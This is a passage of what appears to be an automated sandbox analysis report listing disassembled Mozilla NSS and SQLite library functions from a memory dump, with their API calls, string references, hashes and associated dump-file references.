Part of subcall function 6C6B0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6587ED,00000800,6C64EF74,00000000), ref: 6C6B1000
Part of subcall function 6C6B0FF0: PR_NewLock.NSS3(?,00000800,6C64EF74,00000000), ref: 6C6B1016
Part of subcall function 6C6B0FF0: PL_InitArenaPool.NSS3(00000000,security,6C6587ED,00000008,?,00000800,6C64EF74,00000000), ref: 6C6B102B

SECITEM_CopyItem_Util.NSS3(00000000,?,6C6666A0), ref: 6C6AF8AA

Part of subcall function 6C6AFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C6A8D2D,?,00000000,?), ref: 6C6AFB85
Part of subcall function 6C6AFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C6AFBB1

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C6AF8B9

Part of subcall function 6C6B1200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C6588A4,00000000,00000000), ref: 6C6B1228
Part of subcall function 6C6B1200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6C6B1238
Part of subcall function 6C6B1200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6C6588A4,00000000,00000000), ref: 6C6B124B
Part of subcall function 6C6B1200: PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0,00000000,00000000,00000000,?,6C6588A4,00000000,00000000), ref: 6C6B125D
Part of subcall function 6C6B1200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6C6B126F
Part of subcall function 6C6B1200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6C6B1280
Part of subcall function 6C6B1200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6C6B128E
Part of subcall function 6C6B1200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6C6B129A
Part of subcall function 6C6B1200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6C6B12A1

PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6C6AF8D9
SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C7818E0), ref: 6C6AF905

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Arena$Pool$Alloc_Arena_CriticalFreeItem_Sectionfree$CallClearCopyDecodeDeleteEnterInitLockOnceQuickUnlockValuecallocmemcpy
String ID:
API String ID: 3757084236-0
Opcode ID: 58fa69a8dca4bb1c3bcf0a74c2618413c1c085d38c799c903c9c92faf9df9308
Instruction ID: 7a2e9af3f9bcc2cb177e433684b44c175660073e2666d9c0e433df97d0061e3c
Opcode Fuzzy Hash: 58fa69a8dca4bb1c3bcf0a74c2618413c1c085d38c799c903c9c92faf9df9308
Instruction Fuzzy Hash: 051127B2E003046BE3009B659D41B6B7AE89F8668CF004229FD1497741FB31D91983EB

Function 6C668FE0 Relevance: 7.6, APIs: 5, Instructions: 63threadCOMMON

Download Yara Rule

APIs

PR_GetThreadPrivate.NSS3(FFFFFFFF,?,6C670710), ref: 6C668FF1
PR_CallOnce.NSS3(6C7B2158,6C669150,00000000,?,?,?,6C669138,?,6C670710), ref: 6C669029
calloc.MOZGLUE(00000001,00000000,?,?,6C670710), ref: 6C66904D
memcpy.VCRUNTIME140(00000000,00000000,00000000,?,?,?,?,6C670710), ref: 6C669066
PR_SetThreadPrivate.NSS3(00000000,?,?,?,?,6C670710), ref: 6C669078

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: PrivateThread$CallOncecallocmemcpy
String ID:
API String ID: 1176783091-0
Opcode ID: ff90a53b7a5958ba3811b4957fa6c999bbb28d6900d858da33bf78c82e73b22a
Instruction ID: 45ba7cc42a50ff9c94cf7c6d53c32ccfcab0a193aba7bc86265c7a4583acb825
Opcode Fuzzy Hash: ff90a53b7a5958ba3811b4957fa6c999bbb28d6900d858da33bf78c82e73b22a
Instruction Fuzzy Hash: F011E57170011167EB101BAFAD04A6672ACEB827ADF540535FC84C6E40F752CD4583AE

Function 6C67CD80 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 6C691E10: TlsGetValue.KERNEL32 ref: 6C691E36
Part of subcall function 6C691E10: EnterCriticalSection.KERNEL32(?,?,?,6C66B1EE,2404110F,?,?), ref: 6C691E4B
Part of subcall function 6C691E10: PR_Unlock.NSS3 ref: 6C691E76

free.MOZGLUE(?,6C67D079,00000000,00000001), ref: 6C67CDA5
PK11_FreeSymKey.NSS3(?,6C67D079,00000000,00000001), ref: 6C67CDB6
SECITEM_ZfreeItem_Util.NSS3(?,00000001,6C67D079,00000000,00000001), ref: 6C67CDCF
DeleteCriticalSection.KERNEL32(?,6C67D079,00000000,00000001), ref: 6C67CDE2
free.MOZGLUE(?), ref: 6C67CDE9

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSectionfree$DeleteEnterFreeItem_K11_UnlockUtilValueZfree
String ID:
API String ID: 1720798025-0
Opcode ID: 395bcc6dfda0238a1c5b62fc2acbd16cccad597adcd5ea1baec9598d07f6260e
Instruction ID: 8d795a9908144ea95030c7d7df076d2ee5efd470979185aa1a520f237f7481b2
Opcode Fuzzy Hash: 395bcc6dfda0238a1c5b62fc2acbd16cccad597adcd5ea1baec9598d07f6260e
Instruction Fuzzy Hash: 0211A3B2B01115BBDF10AFA5ED45A9A77BCBB043597104531F90A87E01E732E424C7E5

Function 6C6E2CC0 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6C6E5B40: PR_GetIdentitiesLayer.NSS3 ref: 6C6E5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6E2CEC

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

PR_EnterMonitor.NSS3(?), ref: 6C6E2D02
PR_EnterMonitor.NSS3(?), ref: 6C6E2D1F
PR_ExitMonitor.NSS3(?), ref: 6C6E2D42
PR_ExitMonitor.NSS3(?), ref: 6C6E2D5B

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction ID: 1318f6d3e3578dfac2ea355121da45e0d49ce3060982b1756f2fac1cc2e6c162
Opcode Fuzzy Hash: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction Fuzzy Hash: 9A01C8B19192015FE7309F26FC48BC7B7E2EF59318F044526E95D87B10E632F8168796

Function 6C6E2D70 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6C6E5B40: PR_GetIdentitiesLayer.NSS3 ref: 6C6E5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6E2D9C

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

PR_EnterMonitor.NSS3(?), ref: 6C6E2DB2
PR_EnterMonitor.NSS3(?), ref: 6C6E2DCF
PR_ExitMonitor.NSS3(?), ref: 6C6E2DF2
PR_ExitMonitor.NSS3(?), ref: 6C6E2E0B

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction ID: 8cd1fd0e9f7aa794f7f02872431bdcf938dcf16bc214214ea6d5fc4e4a5f400c
Opcode Fuzzy Hash: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction Fuzzy Hash: 9601C8B19092015FE7309F25FC09BC7B7A2EF55318F040536E95D87B10D632F81A8696

Function 6C67AE30 Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 6C663090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C67AE42), ref: 6C6630AA
Part of subcall function 6C663090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6630C7
Part of subcall function 6C663090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C6630E5
Part of subcall function 6C663090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C663116
Part of subcall function 6C663090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C66312B
Part of subcall function 6C663090: PK11_DestroyObject.NSS3(?,?), ref: 6C663154
Part of subcall function 6C663090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C66317E

SECKEY_DestroyPublicKey.NSS3(00000000,?,00000000,?,6C6599FF,?,?,?,?,?,?,?,?,?,6C652D6B,?), ref: 6C67AE67
SECITEM_DupItem_Util.NSS3(-00000014,?,00000000,?,6C6599FF,?,?,?,?,?,?,?,?,?,6C652D6B,?), ref: 6C67AE7E
SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,6C652D6B,?,?,00000000), ref: 6C67AE89
PK11_MakeIDFromPubKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,6C652D6B,?,?,00000000), ref: 6C67AE96
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,6C652D6B,?,?), ref: 6C67AEA3

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$DestroyItem_$Arena_K11_Public$AlgorithmAlloc_ArenaCopyFreeFromMakeObjectTag_Zfreememset
String ID:
API String ID: 754562246-0
Opcode ID: 231267e74e44f7f89e0b1ec98a7d7b6f1f3836cdd63fc5fe74163871bfb4f554
Instruction ID: b0f0a6d6507ce0822123b77666430595a45d13287f37c90f980e570015f0b0e7
Opcode Fuzzy Hash: 231267e74e44f7f89e0b1ec98a7d7b6f1f3836cdd63fc5fe74163871bfb4f554
Instruction Fuzzy Hash: 3801D163B0401057E721916CAC81AEB31A98B8765CB081832E905D7B03F612DD0A53BF

Function 6C76BDB0 Relevance: 7.6, APIs: 5, Instructions: 51COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,6C767AFE,?,?,?,?,?,?,?,?,6C76798A), ref: 6C76BDC3
free.MOZGLUE(?,?,6C767AFE,?,?,?,?,?,?,?,?,6C76798A), ref: 6C76BDCA
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C767AFE,?,?,?,?,?,?,?,?,6C76798A), ref: 6C76BDE9
free.MOZGLUE(?,00000000,00000000,?,6C767AFE,?,?,?,?,?,?,?,?,6C76798A), ref: 6C76BE21
free.MOZGLUE(00000000,00000000,?,6C767AFE,?,?,?,?,?,?,?,?,6C76798A), ref: 6C76BE32

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$CriticalDeleteDestroyMonitorSection
String ID:
API String ID: 3662805584-0
Opcode ID: 43b05599a3c1ef563b83f3af3a06bcb398519d3c1721ccb39cadfe9b728cb1fc
Instruction ID: b6e7f34cc01f88f351e89264c6e337c8fbfc3b7859e664e9f1e51378a43c23b4
Opcode Fuzzy Hash: 43b05599a3c1ef563b83f3af3a06bcb398519d3c1721ccb39cadfe9b728cb1fc
Instruction Fuzzy Hash: 2A1103B5B062009FDF40DFA9D94DF063BB9FB4B355B540479E90A8B710E732A414CBA9

Function 6C767C60 Relevance: 7.5, APIs: 5, Instructions: 40stringthreadCOMMON

Download Yara Rule

APIs

PR_Free.NSS3(?), ref: 6C767C73
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C767C83
malloc.MOZGLUE(00000001), ref: 6C767C8D
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C767C9F
PR_GetCurrentThread.NSS3 ref: 6C767CAD

Part of subcall function 6C719BF0: TlsGetValue.KERNEL32(?,?,?,6C760A75), ref: 6C719C07

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CurrentFreeThreadValuemallocstrcpystrlen
String ID:
API String ID: 105370314-0
Opcode ID: a83f792f8058ba336577480eafa75aceb228ffa350e434f95768ee21d9b9b296
Instruction ID: 55013d471de04fbbf3c3cc5b27fd1429d8b156b3f47d55ddf02db3cde86ef1b8
Opcode Fuzzy Hash: a83f792f8058ba336577480eafa75aceb228ffa350e434f95768ee21d9b9b296
Instruction Fuzzy Hash: A5F0A9B19202066BEB009F7BAE0D95B7B5CEF003A9B118436EC09C7F00EB31E1148AE5

Function 6C76ADF0 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(6C76A6D8), ref: 6C76AE0D
free.MOZGLUE(?), ref: 6C76AE14
DeleteCriticalSection.KERNEL32(6C76A6D8), ref: 6C76AE36
free.MOZGLUE(?), ref: 6C76AE3D
free.MOZGLUE(00000000,00000000,?,?,6C76A6D8), ref: 6C76AE47

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: 243c92dab784e6befa0d547a871002f5b3916953c033f895308ce214ee234fb1
Instruction ID: 983031f6d4509241d45d1f960aa9bd84e9e3b11a0944075347a97426d1cb2ee9
Opcode Fuzzy Hash: 243c92dab784e6befa0d547a871002f5b3916953c033f895308ce214ee234fb1
Instruction Fuzzy Hash: FAF06275201A01A7CB109FE9A909A5BB7BCBE86776B14033DF52A83940D733E115C7D5

Function 6C6D9850 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 233COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000,?,?), ref: 6C6D9AE4

Strings

0@xl, xrefs: 6C6D98B3
(, xrefs: 6C6D99BF
`@xl, xrefs: 6C6D991B, 6C6D9A15, 6C6D9A23

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Error
String ID: ($0@xl$`@xl
API String ID: 2619118453-1785463308
Opcode ID: cb84f0522980179f466f2059ec1abdf70661ead2491a5a0ba8a62b1c91a046e1
Instruction ID: f5549d281b545c55c9a9485009b4140e7fdd70ed2b97b475be4d103d0cc444b2
Opcode Fuzzy Hash: cb84f0522980179f466f2059ec1abdf70661ead2491a5a0ba8a62b1c91a046e1
Instruction Fuzzy Hash: 31913636A052099BDF10DF54C8A0BEDBB71FF4530CF298169E8456FA41DB31A881CB98

Function 6C5EBCD0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

sqlite3_mprintf.NSS3(6C78AAF9,?), ref: 6C5EBE37

Strings

vl, xrefs: 6C5EBDD7
Pvl, xrefs: 6C5EBED4
winFileSize, xrefs: 6C5EBF07

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_mprintf
String ID: vl$Pvl$winFileSize
API String ID: 4246442610-3168198568
Opcode ID: c1f3bc3ee6e21af8016f503c08e3520dd2f5dbe2bf6622b929b924bb4b07cbb3
Instruction ID: 4303061a4f6f9530fd95a8c6fae09a8e2390a215f0e5ae3d3284b0bfec010f18
Opcode Fuzzy Hash: c1f3bc3ee6e21af8016f503c08e3520dd2f5dbe2bf6622b929b924bb4b07cbb3
Instruction Fuzzy Hash: 7B61DF31A00709EFCB04DF68CA90BA9B7B2FF4E315B148AA5D8158BB40D730E915CBD9

Function 6C5F7C40 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 100COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A0D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5F7D35

Strings

%s at line %d of [%.10s], xrefs: 6C5F7D2E
database corruption, xrefs: 6C5F7D29
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5F7D13, 6C5F7D1F, 6C5F7D47, 6C5F7D53, 6C5F7D5F

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 68d79777ebd6a47b3522be0979960b9e4793b1a31125216d18f31d617598ca92
Instruction ID: 9692598d2856882204f7f34f80f52ace2fd9cb4a47b7b98f9c376a209d15bcad
Opcode Fuzzy Hash: 68d79777ebd6a47b3522be0979960b9e4793b1a31125216d18f31d617598ca92
Instruction Fuzzy Hash: 11312431E0422997C714CF9ECC809BEB7F2AF88349B9905A6E454B7B81D270D942CBB4

Function 6C5E6C90 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000134E5,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?), ref: 6C5E6D36

Strings

%s at line %d of [%.10s], xrefs: 6C5E6D2F
database corruption, xrefs: 6C5E6D2A
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5E6D20

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: c0aa487ee763cd2bd640883830c0855e87095a1cb2144af31a345720d6865043
Instruction ID: 01f5a6f30449fb530ca37fed9af45b4eb1f5c6752c8e452fea636bfcae6c1a73
Opcode Fuzzy Hash: c0aa487ee763cd2bd640883830c0855e87095a1cb2144af31a345720d6865043
Instruction Fuzzy Hash: 392102306003089BC710CE19DE41B5AB7F2AF89358F944928D9499BF51EB70F9448792

Function 6C6C2FD0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,-000000D4,00000000,?,<+ll,6C6C32C2,<+ll,00000000,00000000,?), ref: 6C6C2FDA

Part of subcall function 6C6B14C0: TlsGetValue.KERNEL32 ref: 6C6B14E0
Part of subcall function 6C6B14C0: EnterCriticalSection.KERNEL32 ref: 6C6B14F5
Part of subcall function 6C6B14C0: PR_Unlock.NSS3 ref: 6C6B150D

PORT_ArenaAlloc_Util.NSS3(?,-00000007), ref: 6C6C300B

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
